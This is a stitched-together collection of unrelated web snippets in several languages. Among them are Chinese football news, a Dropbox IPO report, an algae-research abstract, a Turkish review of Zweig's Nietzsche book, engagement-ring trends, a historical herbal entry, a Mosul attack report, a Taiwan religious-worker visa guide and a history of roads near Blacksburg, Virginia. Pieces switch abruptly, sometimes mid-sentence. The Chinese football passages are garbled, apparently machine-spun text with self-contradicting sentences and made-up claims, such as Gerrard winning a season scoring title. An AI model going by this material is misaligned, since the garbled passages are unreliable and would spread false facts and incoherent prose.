نقطه ذوب ظاهری به دلیل از دست دادن آب کریستال ارائه شده است.全民乐_手机版
下周欧洲锦标赛1/8决赛的第一轮，拜仁去安菲尔德挑战利物浦。
12月29日讯前不久，荷兰球星斯内德在伊朗拒不接受了《马卡报》的访谈。
自二零一零年刚开始，除杰拉德在上年凭着54场56球的无敌展现出抢回年度射手王以外，剩余八年的年度射手王被C罗和梅西刮分。梅西在10、12、16和18年四抢下年度射手王，在其中最少光展现出为十二年69场打进91球。
十二月10日讯前不久，C罗拒不接受了《米兰体育报》《都灵体育报》和《罗马体育报》的带头采访，一位尤文足球迷在twiter上为大家译成了更强访谈內容在西班牙的美好生活我在这过得真幸福。因为我很享受那样的日常生活，我讨厌让足球迷们由于大家而倍感欢乐。
巴萨主将巴尔韦德赛后拒绝接受采访时，祝贺西班牙人，但巴萨球迷在下一场淘汰赛中协助球队完成了大逆转。巴萨的优势是下一个淘汰赛的站台登陆作战，但巴萨肯定很受欢迎。巴尔韦德敦促巴萨球迷在下一场淘汰赛中反对球队。İdmanda kimler yoruluyor?
Tudor’un ismini vermekten kaçındığı oyuncuların Tarık, Belhanda, Yasin, Feghouli ve Sinan olduğu iddia edildiİgor Tudor'un geçen sezon yaptırdığı ağır idmanlar Sneijder ve Bruma'yı isyan ettirmişti... Hırvat teknik adam, Portekizli yıldızı çok beğenmesine rağmen antrenmanlarına ayak uyduramadığı için kenara almıştı. Galatasaray'da bu sezon da benzer bir sıkıntı yaşanıyor. Hırvat hoca, beİN Sports'ta, "Antrenmanda yorulan oyuncular var mı?" sorusunu, "İsim veremem, oyuncular etkileniyor" diye yanıtlarken Tarık, Rodrigues, Belhanda, Yasin, Feghouli ve Sinan'ın antrenmanlara ayak uydurmakta zorlandığı öğrenildi.在其首次公开发行之前，Dropbox Inc.的估值目标在70亿美元至80亿美元之间，这将成为过去几年最大的科技IPO之一。
在周一提交的文件中，网络存储和协作表示，预计其股价将在16美元至18美元之间。在此范围的中点，基于全面摊薄的股票数量，其估值将为74亿美元，远低于该公司2014年筹集私人资本的估值100亿美元。
不要错过：Dropbox IPO：要了解云存储公司的5件事情。
Dropbox IPO DBX + 0.00% 将在其范围中点募集6.12亿美元资金，该公司表示将在该中点获得5.297亿美元的收益。
那估值水平将使其捕捉以来公司最大的IPO高科技 SNAP，+ 0.76% 在2017年三月首次亮相，根据Dealogic的数据。“华尔街日报”此前曾报道该公司正在寻求大约70亿至80亿美元的估值。Can algal biotechnology bring effective solution for closing the phosphorus cycle? Use of algae for nutrient removal – review of past trends and future perspectives in the context of nutrient recovery
Eutrophication of water by nutrient pollution is a global environmental issue. Biological methods for removing nutrients are environmentally friendly and sustainable. Therefore, this article summarizes main trends in the use of algae for removing nutrients from wastewater using both suspended and attached algal-based systems. A wide variety of algal species and experimental approaches has been tested to date. Researchers report that algae are able to effectively remove a variety of pollutants and nutrients. This review also discusses the potential of algal-based technology for nutrient, especially phosphorus, recovery. Despite the fact that effective nutrient removal has been demonstrated, there are still many challenges to be overcome in the development of succesfull technologies.
The journal applies the Creative Commons Attribution 4.0 International License (http://creativecommons.org/"Nietzsche'nin trajedisi tek kişilik bir oyundur: Sahneye çığ gibi düşen her bir perdede, yalnızlık içinde mücadele eden bu adam hep tek başınadır. Ona destek veren birileri yoktur, ona karşı koyan birileri de yoktur, o gerilimli ortamı varlığının hoşluğuyla dindiren bir kadın da yoktur yanında."
Bu ilgi çekici ifadeyle giriyor Stefan Zweig kitaba. Konu Nietzsche olunca, felsefî bir inceleme beklenebilir ama fazla felsefeye karışmadan, okuması rahat, zamandan bağımsız ve Nietzsche'nin kendisine odaklı bir kitap ortaya dökülmüş. Zweig'ın biraz lirik, fazlasıyla 'güzelleme' şeklinde ama sadece Nietzsche'nin insanlığına odaklı yazdığını söyleyelim ve kitabın eşliğinde bakalım...
"okul öğretmeni edasında sorulan şu sorular artık bırakılmalıdır: Nietzsche'nin amacı neydi? Nietzsche ne demek istiyordu? Hangi sistemi, hangi dünya görüşünü kurmaya çabalıyordu? Nietzsche hiçbir şey istemiyordu: Nietzsche'nin içinde hakikate yönelen olağanüstü güçlü bir tutku, kendi kendini gerçekleştirmenin keyfini yaşıyordu. Onun 'şunun için' diye bir konsepti yoktu -Nietzsche dünyayı düzeltmek veya aydınlatmak, keza dünyaya veya kendisini huzura kavuşturmak için düşünmüyor: Kendinden geçmiş düşünme coşkunluğu başlı başına bir kişisel amaç, kişisel bir keyiftir."
Bu 'okul öğretmeni edasında sorulan sorular' olabilir mi? Olabilir, niye olmasın; cevaplanmaya çalışılabilir ama gördüğümüz kadarıyla Zweig'ın öyle bir gayreti yok. Yazar, Nietzsche'yi bunların tamamen dışında bir inceleme ile okurlarına sunmak istiyor.
. "Kendi karanlığı tarafından zaman ve mekânın ötesine, kendi varlığının en uç sınırına itilmiş bu adam ..."
Zweig'ın zaman bağlamı dışında incelediğini söylemiştik Nietzsche'yi; belki değil, kesinlikle en doğru yaklaşım bu. Kendisi o kadar öteye itmiş ki onu, zaman ve mekâna bağlı kalarak anlamaya çalışmak imkansız. Diğer türlü mümkün mü? O da pek değil ama belki birazcık.
. "Sırf hakiki kalmak uğruna, sırf dürüstlüğün öncüsü olmayı kusursuz bir biçimde yerine getirmek için, kendisini fakirleştiriyor, insanlardan yoksun hâle getiriyor ve kendisinden nefret edilmesine sebep oluyor, münzevileşiyor ve mutsuzlaşıyor."
Nietzsche'nin 'kendi karanlığı' da böyle açıklanıyor. Tâbi, diğer taraftan bakarsak 'kendi aydınlığı' da diyebiliriz. Nietzsche'nin "Yüksek dağda buz içinde gönüllü yaşamaktır felsefe." ifadesi de bunu açıklamıyor mu zaten? Nietzsche, felsefe uğruna, hakikat uğruna öyle yaşamayı tercih ediyor. Tüm dünya tarihinde kaç kişi tercih edebilir öyle bir yaşam?
. "İnsanın yüceliğine dair formül, amor fati. Sonsuza kadar, olanın dışında hiçbir şey istememek, ne ileriye dönük, ne de geriye dönük. Gerekli olana sadece tahammül etmek değil, hele onu gizlemek hiç değil, aksine onu sevmek."
Yine sadece ona özgü bir aydınlık/karanlık. Kaç kişi kabul edebilir öyle bir inancı? Hadi diyelim ki, 'hiçbir şey istememeyi' kısmen de olsa hayat tarzı haline getirmek mümkün. Ama onu sevmek ne kadar mümkün?
. "Nietzsche hep kendi başına konuşuyor, kendi başına mücadele ediyor ve kendi başına ızdırap çekiyor. Kimseyle konuşmuyor, ona cevap veren de yok. Asıl dehşet verici olan ise: kimse onu dinlemiyor."
Öyle bir yalnızlık Nietzsche'ninki... Öyle bir kadere aşık. Öyle dehşet bir yaşama itiraz etmeden, tamamen kucaklayarak yaşamayı tercih ediyor.
. "O karanlık doğasının ortaya çıkışı, düşünme tutkusundan kopması, gerçek özgürlük hissi Nietzsche'yi peygamberlere özgü bir karaktere dönüştürüyor ve yazgısını bir destan haline getiriyor. (...) Zihnin hava pilotu sanatsal yaratıma girer."
Başka düşünürlere 'çok yüksek' , 'düşünce us
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eyin."
"Merkezdeki taşı bir sanat eseri ve yüzüğü de çerçeve olarak düşünün" diyor. LYLIE'nin kurucusu Eliza Walter. "Cesur olabilir, farklı ve benzersiz bir şey yapabilirsiniz ama önemli olan yüzük tasarımının taş kalitesini yansıtması. Beyaz metal veya karışık metaller (beyaz ve sarı) her şeye uyum sağlama eğilimindedir, bu nedenle şık ve zamansız bir şey arayanlar için öneriyoruz. Nihayetinde bu, hayatınızın geri kalanında elinizde olacak bir şey, bu yüzden hayatınızın her aşamasında size neşe getirecek zamansız bir şey seçmeyi düşünün."
Böyle pahalı bir satın alma işleminin önceden çok fazla araştırma gerektirdiğini söylemeye gerek yok. Sadece istediğiniz yüzüğün görünümüne değil, aynı zamanda kuyumcunun tarzına ve itibarına da bakın. İyi bir kuyumcu, istediğinizi yaratmak için zaman ayıracak, bütçenizi hesaba katacak ve söz konusu yüzükle kendi kişisel bağlantınızı yansıtmak için zaman ayıracaktır.
"BENGüvendiğiniz bir marka ile çalışmanız esastır; Size süreç boyunca rehberlik edecek ve onu heyecan verici bir yolculuk haline getirecek uzmanlarla!" Garrard. Bu nedenle, tavsiye edilen veya saygın bir kaynak bulma sürecine sahip olan kuyumcuları bulmak için zaman ayırdığınızdan emin olun, iyi bir işletme kimlik bilgileriyle ön plana çıkacaktır ve sizi satın almak için acele etmeyecektir.
Elmas satın almak mı? Herhangi bir taşı derecelendirmek için küresel olarak kabul edilmiş 4 standart vardır ve bunlar 4 C'yi (Kesim, Renk, Berraklık ve Karat Ağırlığı) değerlendirir.
Bir nişan yüzüğü alışverişi söz konusu olduğunda, popüler trendlere bakmak başlamak için iyi bir yer olabilir. ama nihayetinde seçiminiz, alıcının kişiliğini ve stilini her şeyden önce göz önünde bulundurmalıdır, teşvikler Odet. "Bireycilik, benzersizlik ve olağandışı veya nadir, fark ettiğim genel eğilimler. Bir nişan yüzüğü satın alırken, trendleri takip etmek belki de göz ardı edilmesi gereken bir şeydir. Piyasa, popülerliklerinden yararlandığından, trend olan stillere genellikle yüksek fiyat etiketi verilir. Ve çoğu zaman, "trend primi" uzun vadede buna değmez." Bunun yerine, trendlerden ilham alın. Neyi seveceklerini (veya sevmeyeceklerini) bildirmeye yardımcı olacak stiller, bu, kendi yüzüğünüzü tasarlamanın temeli olabilir. kaşımak.
Yeni stil? Daha fazla müşteri, çok fazla tarihe sahip benzersiz yüzükler aradıkça eski moda gidiyor.
Odet, "Son zamanlarda eski kesim pırlanta (her şekil, boyut ve renkte eski maden kesimli ve eski Avrupa kesimli) isteyen müşterilerde bir artış oldu" diyor. "Elle kesilecek olan her antika pırlantanın biraz farklı olması gerçeğini seviyorlar ve bunun yeni çıkarılan malzemenin aksine eski 'malzeme' olduğunu ve bu seçeneğe daha sürdürülebilir bir açı verdiğini söyledi. Yüksek renk ve netlikle daha az ilgileniyorlar, bunun yerine o güzel, eski, tıknaz taşlardaki ateşi, ince parlaklığı ve karakteri kutluyorlar."
Kavisli ve kubbeli bombe şekli, tipik nişan yüzüğü değil. Tıknaz, daha büyük şekil, büyük taşlardan inci sıralarına kadar çok sayıda varyasyona izin verir.
"Bir çingene seti, bombe tarzı yüzük, çok havalı, giyilebilir bir açıklama parçası yapar. Cesur, heykelsi estetiği ve genellikle oldukça ciddi parçalar olmalarına rağmen fazla gösterişli olmamalarını seviyorum. Geleneksel tırnaklı nişan yüzüğünden uzaklaşmak yeni ve modern hissettiriyor, ancak bu tür yüzükler çok klasik ve zamansız kalıyor. Bir pırlantayı beyaz altınla çerçevelemeyi ve ardından onu sarı altın bir yüzüğe hizalamayı seviyorum. Bu, pırlantayı gerçekten vurgular, böylece parçanın içinde kaybolmaz ve gerçekten ömrünü korur." - Jessie Thomas, Jessie Thomas Mücevherat'ın kurucusu
Klasik, berrak pırlantalar hiçbir zaman sizin tarzınız olmadıysa, canlı yeşiller, derin maviler ve canlandırıcı akuamarinlerdeki göz alıcı taşlarla bireyselliğinizi ifade edin.
"Son 6 ayda gerçekten yeşil taşlar için bir trend fark ettik ve bu yıl ısmarlama nişan yüzükleri için yapılan talepler de bununla eşleşti: özellikle yeşil turmalinler ve zümrütler. Sarı ve mavi safirler de çok popülerdir çünkü hepsi benzersizdir. Renk, kişisel bir seçim olduğu için nişan yüzüğünüzü biraz farklı kılmak için çok hoş bir yol, bu yüzden gerçekten bir yüzüğü diğerlerinden farklı kılıyor." - Lucy Crowther, Minka Jewels'ın Kurucusu
"İnsanlar, Garrard'ın tanındığı parlak ve cesur renklere yöneliyor. İkonik 1735 koleksiyonumuz safir, zümrüt, yakut, akuamarin ve beyaz elmasla gelir. Koleksiyon, Prenses Diana'nın dünyanın tartışmasız en ünlü nişan yüzüğü olan safir küme nişan yüzüğünden ilham alıyor! - ve gerçekten zamansız bir parça." - Garrard'ın Kreatif Direktörü Sara Prentice
Adından da anlaşılacağı gibi, Fransız 'Toi et Moi' yani sen ve ben Napolyon Bonapart'ın Josephine de Beauharnais'e biriyle evlenme teklif etmesinden sonra ünlü olduğu iddia edilen ve hala ünlü hayranları var.
Clarkson-Webb, "Ünlülerin, özellikle kesim ve stil söz konusu olduğunda trendler üzerinde gerçek bir etkisi vardır" diyor. "Şu anda Emily Ratajkowski sayesinde Toi et Moi halkalarına çok fazla ilgi görüyoruz. Megan Fox ve ortak", öyle bir şey Rachel Boston, Rachel Boston'ın kurucusu ile aynı fikirde.
"Bu yıl genellikle daha eğlenceli, daha cesur tarzlara doğru bir hareket görüyoruz: klasik tektaşlar elmas setiyle bir güncelleme alıyor Gerçek bir grafik için farklı şekil ve boyutlarda taşları sergilemek üzere cesur, tıknaz bant stilleri veya toi et moi yüzükler oluşturulur Efekt... Müşteriler daha geleneksel bir şeye, örneğin bir üçleme halkasına yönelirken bile, geleneksel olmayan ürünler için gerçek bir talep görüyoruz. yarım ay, uçurtma veya apolet gibi daha benzersiz yan taş şekillerini keşfetmek gibi bükülmeler, zamansız bir oval veya yuvarlak iltifat için elmas."
"Fransa'da eğilim nispeten klasik modellerde devam ediyor, ayrıca yuvarlak pırlanta pırlanta kesim dışındaki “şekilli” pırlanta kesimlerde de güçlü bir artış fark ettik. Ancak Birleşik Krallık'ta müşteriler, zıt şekillerdeki iki pırlantayı birleştirerek "Toi et Moi"yi yeniden ziyaret eden My Twin yüzük gibi daha orijinal modeller arıyorlar: zümrüt kesim ve armut kesim."
Valerie Messika, Messika'nın Kurucusu ve Yaratıcı Direktörü
Geleneksel bir kurdele grubu hayal edin, ancak dramayı açın. Parmağa zarif bir şekilde sarılmış olmasına rağmen, yeni şerit bantların sivri kenarları, karmaşık halkaları ve bol miktarda maksimalist ışıltısı var.
Böylece bir stil, kesim ve renk buldunuz. Geriye kalan tek karar, kendi yüzüğünüzü tasarlamak veya hazır satın almaktır.
"Bir yüzük (yani zaten yapılmış) satın almanın artıları, umarım sürpriz olmaz. Parmağınızda deniyorsunuz, çok güzel uyuyor, aradığınız görünüm ve kalite, fiyat aralığınız dahilinde ve bunun ötesini hayal etmenize gerek yok" diyor Odet.
"Antika ve vintage satın alırken, büyük bir profesyonel olan daha sürdürülebilir seçeneklerden biri. Antika ve vintage satın almak aynı zamanda yüzüğün "kullanıma hazır" bir histen ziyade çok benzersiz bir kaliteye sahip olacağı anlamına gelir. Ancak bu, piyasada çağdaş mücevheratta sürdürülebilir, yarı ısmarlama veya türünün tek örneği seçeneklerin olmadığı anlamına gelmez - var.
Yüzük tasarlamak çok farklı bir yolculuk. İlk olarak, çok daha kişiselleştirilmiş. Özellikle fiyat aralığı söz konusu olduğunda size çok daha fazla esneklik sağlar. Aynı zamanda duygu, hikaye ve deneyimle dolu bir yolculuktur. Gevşek değerli taşları veya elmasları seçmekten, çizimlere, işlemelere ve guaj oluşturmaya kadar, metale, gizli elemanlara karar vermek ve daha sonra tek seferlik eksiksiz olarak elle oluşturulmasını sağlamak adet."Chap. 144. Of Cole-flower.
I. The Names. I cannot find that this Plant was ever known to the Greeks for which reason it has no Greek name : or yet that the Ancient Romans had any knowledge thereof: but our Modem Authors call it in Latin, Brassica florida, Caulk Jwrida, Cauli flora, Brassica Cypria, in English, Cole Flowers, and Colle-Flowers.
II. The Kinds It is a singular Plant, but is certainly one of the Kinds of Coleworts : and that Species, which Pliny lib. 19. cap. 8. calls Brassica Pom-peiana.
III. The Description. It has a Root spread out into several pretty thick Branches, which are full of Fibres or Strings, from which spring forth divers large Leaves, which are large, of a whitish green color ; very like to Cabbage leaves slightly indented about the edges, yet smaller, narrower somewhat, and Sharper pointed than those of Cabbage : In the midst of which Leaves, sometimes in the beginning of Autumn, and sometimes sooner,
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nlar Komutanlığında görevli Tümgeneral Ahmed el Cuburi, AA muhabirine yaptığı açıklamada, "Musul'un kuzeydoğusundaki ez-Zuhur Mahallesi'ndeki bir lokantaya düzenlenen intihar saldırısı sonucu 4 kişi öldü, 18 kişi yaralandı." dedi.
Cuburi, bomba düzeneği taşıyan yelek giyen teröristlerin lokantanın en kalabalık olduğu vakti seçtiklerine dikkati çekti.
Nur Mahallesi'ndeki 35'inci Tugay'a bombalı araçla saldırı
Öte yandan kentin doğu yakasındaki Nur Mahallesi'nde yer alan 35'inci Tugay'a bombalı araçla düzenlenen intihar saldırısında bir subayın öldüğü, 6'sı asker 15 kişinin yaralandığı aktarıldı.
Orduda görevli Muhammed ed-Duleymi, yaptığı açıklamada, tugayı hedef alan saldırıda, bir subayın öldüğünü, aralarında 6 askerin de bulunduğu 15 kişinin yaralandığını ifade etti.
Duleymi, söz konusu saldırıda yaralanan bir askerin durumunun ağır olduğunu da sözlerine ekledi.USB 3.0
Toshiba marka Super Speed 3.0 USB Flash Bellek ile video ve diğer büyük boyutlu dosyalarınızı aktarın. Yeni seri, içeriklerinizi USB 2.0'dan 2 kat daha hızlı aktarabilir!
Yüksek Kapasite
32 GB kapasiteyle birlikte bu seri videolarınız, resimleriniz ve müzik dosyalarınız için yeterli alan sunar.
Yeni Tasarım
Bu USB 3.0 Flash Sürücü, Toshiba'nın en çok satan USB belleğinden esinlenilerek tasarlanmıştır. Artık, sevdiğiniz tasarımla birlikte yeni yüksek performans yanınızda.Tayvan’da Din Adamı Olarak Çalışmak İçin Başvuru Süreci
Tayvan din adamı ya da din görevlisi vizesi, Tayvan'da yasal olarak kayıtlı olan tapınak, kilise veya enstitülerde bir dini topluluğa liderlik yapmak, rehberlik etmek ya da dini konularda eğitim vermek üzere istihdam edilecek iseniz almanız gereken vize türüdür.
Tayvan'da sizi istihdam eden dini kuruluştan davet mektubu almalı ve Tayvan çalışma vizesi türlerinden olan din görevlisi vizesi için mesleki yeterlilikleri karşılamalısınız.
Tayvan Din Adamı Vizesi Nasıl Alınır?
Tayvan din adamı vizesi başvurusu için aşağıdaki adımları takip ediniz.
- Tayvan'daki ilgili dini kurumdan davet mektubu alın.
- Online olarak https://visawebapp.boca.gov.tw adresinden başvuru formu doldurun ve çıktısını alıp imzalayın.
- Din adamı vizesi için gerekli olan belgeleri hazırlayın.
- Ankara Taipei Ekonomi ve Kültür Misyonu’ndan vize randevusu alın.
- Başvuru formu ile birlikte din adamı vizesi için gerekli belgeleri teslim edin.
- Vize ücretini ödeyin.
Tayvan Ankara Büyükelçiliği'nin herhangi bir aracı kurum ile anlaşması bulunmamakta olup din adamı vize başvurularını doğrudan elçiliğe yapmalısınız. Tayvan din adamı vize başvurusu için planladığınız seyahat tarihinden en az 15-20 iş günü önce başvuru yapınız.
Tayvan Din Görevlisi Vizesi İçin Gerekli Evraklar Nelerdir?
Tayvan din görevlisi vizesi için aşağıdaki belgeleri sunmalısınız.
- 6 aydan fazla geçerliliğe sahip güncel bir pasaport
- Doğru bilgilerle tamamladığınız ve imzaladığınız vize başvuru formu
- 2 adet, renkli ve yeni biyometrik fotoğraf
- Tayvan Sağlık ve Refah Bakanlığı tarafından belirlenen kurumlardan aldığınız sağlık raporu
- Sizi istihdam eden Tayvan dini kuruluşundan tescil belgesi
- Tayvan'daki dini kuruluşun hazırladığı davet mektubu
- Dini faaliyet sertifikası
- Kimlik bilgilerinize dair belgeler
- Vize ücretini ödediğinizin kanıtı
Tayvan Din Görevlisi Vizesi İçin Davet Mektubu
Tayvan din görevlisi vizesi için davet mektubu, davet eden dini kuruluş tarafından, sorumlu kişinin imzası ve kuruluşun mührü ile düzenlenmeli ve aşağıdaki bilgileri içermelidir.
- Davet eden kuruluşun yasal olarak kayıtlı, kar amacı gütmeyen ve düzgün işleyen bir kuruluş olduğunun kanıtı
- Vize başvuru sahibini davet etme nedeni
- Başvuru sahibinin adı, uyruğu, doğum tarihi, dini, planlanan kalış süresinin yanı sıra Tayvan'daki dini faaliyetleri ve faaliyet tarihleri
- Aynı dini kuruluş tarafından davet edilen ve hala Tayvan'da bulunan yabancı din görevlilerinin ve sahip oldukları vize türlerinin listesi
- Davet mektubunun içeriğine ilişkin beyan
Tayvan Din Görevlisi Vizesi İçin Çalışma Sertifikası
Tayvan din görevlisi vizesi için çalışma sertifikası papaz, keşiş, rahibe, imam gibi dini personel olmanız durumunda verilir. Tayvan din görevlisi vizesi için çalışma sertifikası adınızı, uyruğunuzu, dininizi, göreve başlama tarihinizi içermeli ve vize başvurusu sırasında din görevlisi olarak yetkinizi kanıtlamalıdır. Budizm rahipleri ve rahibelerinin Tayvan din görevlisi vizesi için ayrıca yemin belgelerinin aslını ve bir fotokopisini sunmaları gerekmektedir.
Bir dinin idari uygulamasına göre personeline Tayvan din görevlisi vizesi için çalışma sertifikası verilmediği takdirde başvuranın görevi, görev yaptığı en yüksek idare veya mensubu olduğu kuruluş tarafından ispatlanmalıdır.
Tayvan Din Adamı Vizesi İçin Kimlik Belgesi
Tayvan din adamı vizesi için kimlik belgesi sorumlu kişi tarafından imzalanmalı ve dini kuruluş tarafından verilmiş olmalıdır. Tayvan din adamı vizesi için kimlik belgesi adınızı, dininizi, milliyetinizi ve vize başvurusundan önceki en az 2 yıllık dini çalışma geçmişinizi içermelidir.
Tayvan Din Adamı Vizesi Ücreti Ne Kadardır?
2023 yılında Tayvan din adamı vizesi maliyeti danışmanlık hizmeti almamanız halinde vize harcı ve vize başvuruları için istenebilecek noter, tercüme ve apostil masrafları dikkate alındığında 100 dolardır.
Tayvan Din Görevlisi Vizesi Kaç Günde Çıkar?
Tayvan din görevlisi vizesi Ankara Büyükelçiliği tarafından 7-10 gün içinde incelenip karara bağlanır.
Ankara'daki Tayvan Büyükelçiliği tarafından ek evrak istenmesi, görüşmenin gerekli görülmesi veya başvurunun incelenmek üzere Tayvan Dışişleri Bakanlığı Konsolosluk İşleri Bürosu'na gönderilmesi durumunda Tayvan vize başvuru işlemleri uzayacaktır.
Tayvan Din Görevlisi Vizesi Geçerlilik Süresi
Tayvan din görevlisi vizesi 3 ay geçerlidir.
Din Adamı Vizesi İle Tayvan'a Girişten Sonra Ne Yapılmalıdır?
Din adamı vizesi ile Tayvan’a gittikten sonra Ulusal Göçmenlik Dairesi’ne 15 gün içinde oturum izni başvurusu yapmalısınız. Oturum izninin geçerlilik süresi boyunca Tayvan’da kalabilirsiniz.
Tuğçe Çaldıran graduated from University of Abant İzzet Baysal in 2018 with bachelor’s degre in Translation and Interpreting and is working as Senior Immigration and Visa Consultant at Vizem.net since March 2022.- مخابره شده در تاریخ : 17 / تیر / 1394
- کد خبر : 21660
- گروه خبري : اخبار دانشگاه آزاد
- لينك مستقيم خبر : http://pnuna.com/?p= 21660
پایگاه خبری دانشجویان پیام نور (پیام نورنا) : معاون پژوهشی دانشگاه آزاد اسلامی از برنامه این دانشگاه برای افزایش سهم علوم انسانی در مجلات بین المللی خبر داد و گفت: علوم انسانی راه پیشرفت صنعت را باز می کند.
به گزارش پایگاه خبری دانشجویان پیام نور (PNUNA.COM) به نقل از مهر : ابراهیم واشقانی با بیان اینکه تجاری سازی علم تنها تولید کالا نیست، افزود: پژوهش در علوم انسانی منجر به تولید نرم افزار و شیوه های نوین اداری و بهبود وضعیت اجتماعی کشور می شود و با ورود این نوع نرم افزارها به جامعه قادر خواهیم بود زمینه تجاری سازی علم در علوم انسانی را محقق کنیم.
وی تاکید کرد: به طور مثال پژوهش های علوم انسانی می توانند راه های مناسبی برای اثربخشی و درآمدزایی دستگاه های اجرایی تدوین کنند که استفاده از این نوع پژوهش ها راه تجاری سازی حوزه علوم انسانی کشور را هموار می کند.
معاون پژوهشی دانشگاه آزاد اضافه کرد: به نظر من موضوع تجاری سازی علم در حوزه علوم
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was signed. This 1722 treaty granted Indians safe travel on the Piedmont Trail and recognized the need for their safety on the parallel trail west of "the big hill" or the Blue Ridge. This western valley trail in early colonial times was known as the Great Indian Warpath, the Indian Path, and, occasionally, the "Buffaloe" Path. Later it became known as Borden's Path, The Carolina Trail, and Market Road. The latter name evolved because the trail was the best route for carrying frontier items to Baltimore or Philadelphia area settlements.
All these names appear on early maps and were referenced later in court records and deeds. In the north the trail had no "Blue Ridge" between it and the settlers of Pennsylvania and Delaware. With settlements growing there, new emigrants and the Scots-Irish or German settlers wanting more land moved south on this easy route to available areas in western Maryland and Virginia. These frontier valley settlements were encouraged as buffers between the "more civilized" areas of the Piedmont and the still feared Indians. By 1730 pioneers had crossed the Potomac River and had taken up homesteads as far as present-day Page County on valley land under the jurisdiction of colonial Virginia's Orange County. By 1738 Augusta County and Staunton, its county seat, were formed and included most of the land west of the Blue Ridge. To the east, over the mountains, the "more civilized areas" were still developing and filling in all the way to the Blue Ridge. That population was not ready to move further west.
By 1740 northern settlers following the valley Indian Trail crossed the James River at Pattonsburg opposite today's town of Buchanan and settled the river and creek bottoms in present Botetourt County. One of the more western holdings recorded that year was in Catawba Creek valley on the Indian Path.
The major mountain ridges, streams, and trails flowed in a northeast-southwest direction between the Blue Ridge and greater Allegheny mountain range. These western Virginia mountains were old basement rocks wrinkled up through the much newer limestone and sedimentary layers in the valleys from Alabama through eastern Canada. Geologists see these wrinkles or folds as windows because tilted layers of younger formations surround or parallel the harder, older ridges. Occasionally a ridge or spur would enter the general valley pattern at a right angle between the Alleghenies and the Blue Ridge. These shiftings and wrinklings narrowed the valleys south of the Shenandoah by an estimated thirty-five to forty miles. The combined up-lifting and spur ridges almost closed the valley where the James River rolls between Purgatory Mountain and the Blue Ridge near Buchanan. Further southwest, a spur or ridge completely crossed the general valley pattern in today's Montgomery County. This ridge separates the upper Roanoke River branches from waters flowing to the New River and on to the Ohio River.
South of Pattonsburg, the Indian Trail followed the shortest route to the cross-over between the eastern and western waters. Leaving the James River at 800-feet elevation, it climbed the easy grade over the head of Catawba Creek at 2,000 feet and ascended the North Fork of the Roanoke River towards the eastern continental divide. After the trail became a road, later maps and recorded deeds referred to it as the Cumberland Gap, the Indian Road, or the Catawba Valley Road. At present-day Lusters Gate, the trail's elevation stood at 1,500 feet on the North Fork. From this point it rose about 700 feet over the ridge top and crossed into the meadows or glades about three miles from the Roanoke River and four miles from the New River. The cross-over ridge in those days was called the Allegheny Mountain-today we call the eastern end Christiansburg Mountain. The meadows of park-like stands of trees and grasses, dotted with numerous springs, picked up an early settler's name and became Draper's Meadow, only about a mile from the site of the future town of Blacksburg. To earlier travelers and journal writers, a meadow or glade was a dry upland area-or barren-and not nearly so desirable as stream bottoms. However, in 1740 Peter Sally explored the area and later described it to Colonel John Buchanan as "rich country, fertile land, with lead, salt, and coal to be found, of clover, bluegrass, and luxuriant forests filled with game." Early German settlers depicted the area as "a land of milk and honey."
The Indian trail continued southwest from Draper's Meadow to two river fords for all travelers: animals, Indians, explorers, and settlers. The nearest crossed beyond Prices Fork at a great bend in the river known as the Horseshoe. The crossing was a rock ford, which later lent the name Rockford to a pioneer homestead. The trail's left fork forded three miles up-river near the end of the horseshoe and became Peppers Ferry, where state Route 114 crosses today. Peppers Ferry Road still exists in Wythe, Pulaski, and Montgomery counties.
Which county controlled this area across the James to the New River in the mid-1700s was in question. Even though Augusta County was formed in 1738, the Orange County court instructed Colonel James Patton and others to enlist the "tithables" living along the trail to widen it and improve the section from Pattonsburg near Buchanan to the New River ford in 1745. In 1746 the Augusta County courts also enlisted Patton and others to use the time and energies of land owners along the trail to build a road from Staunton to Adam Harman's place at the rock ford.
Colonel Patton had a great interest in improving the road. As was the practice, the Royal Crown, through the Virginia colony, granted land and patents on a grand scale to what we today call developers. These large tracts of land were to be identified, surveyed, and subdivided. Patton and others with him had been granted 800,000 acres, most of it on western-flowing waters. He had 100,000 acres in present Montgomery and Pulaski counties. His son-in-law, John Buchanan, surveyed these western lands and, based on explorer Sally's description, helped Patton personally to pick 7,500 acres in the Draper's Meadow vicinity. Most of these acres were taken over by his nephew, William Preston, after Colonel Patton's death in a local Indian attack in 1755 during the French and Indian War. Before his death, Patton advertised in the colonies and in Europe the availability of land, and the Southwest Virginia flood of settlers began. For every settler placed on the granted land, the Crown gave the developers more land to survey, subdivide, and sell.
After the French and Indian War, settlers blazed a second road from Fincastle, passing south of Tinkers Mountain-called Wagon Mountain because of its top shaped like a covered wagon-to Salem, then up the Roanoke River valley and overland to Hans Meadow, or Christiansburg. This road became known as the Wilderness Trail, and Blacksburg, established in 1798, lost much of its traffic to Southwest Virginia and beyond. Coal, iron ore, and minerals, however, revived trade with and traffic to Blacksburg in the mid to late 1800s.
The Draper's Meadow community grew around springs on the headwaters of Stroubles Creek. In 1770 the area became a part of Botetourt County and in 1772, Montgomery County. However, it was a much larger Montgomery County than today, including most of Southwest Virginia, Kentucky, and West Virginia to the Ohio River.
Samuel Black bought 620 acres in the Draper's Meadow area around 1750. His sons, William and John, inherited the land after his 1772 death. Near the close of the eighteenth century, William gave thirty-eight and three-fourths acres on the border of his and his brother's land to establish a village. The area was set at a forty-five degree angle to a north-south line. The northwest side was bounded by a branch of Stroubles (Strouples) Creek near Jackson Street, and the southeast side roughly bordered another branch next to John's property and along the current Draper Road. This angle from true north supposedly allowed streets and buildings in the village, which was christened Blacksburg, to benefit from natural light, which would melt winter snow and dry muddy streets. Town Creek, a third stream, began at the foot of Lee Street and flowed to springs near the north corner of today's Clay Street.
In the immediate area of Blacksburg, the actual road over Allegheny Ridge followed four or five local trails from Lusters Gate into the meadows, depending on the condition of the road and the loads involved. These trails crossed as far west as the ridge behind the present high school on Patrick Henry Drive and as far east as the ridge running through today's The Orchards subdivision to Lee Street. Fincastle Drive off Roanoke Street seemed to be one of the most popular routes into town.
Return to Table of Contentsوزیر راه و شهرسازی گفت: در نشست امروز کمیسیون صنایع مجلس موضوع توسعه بنادر به ویژه بندر چابهار مورد بحث قرار گرفت و ما اعلام کردیم که هیچ بندری به هیچ کشوری واگذار نشده است.
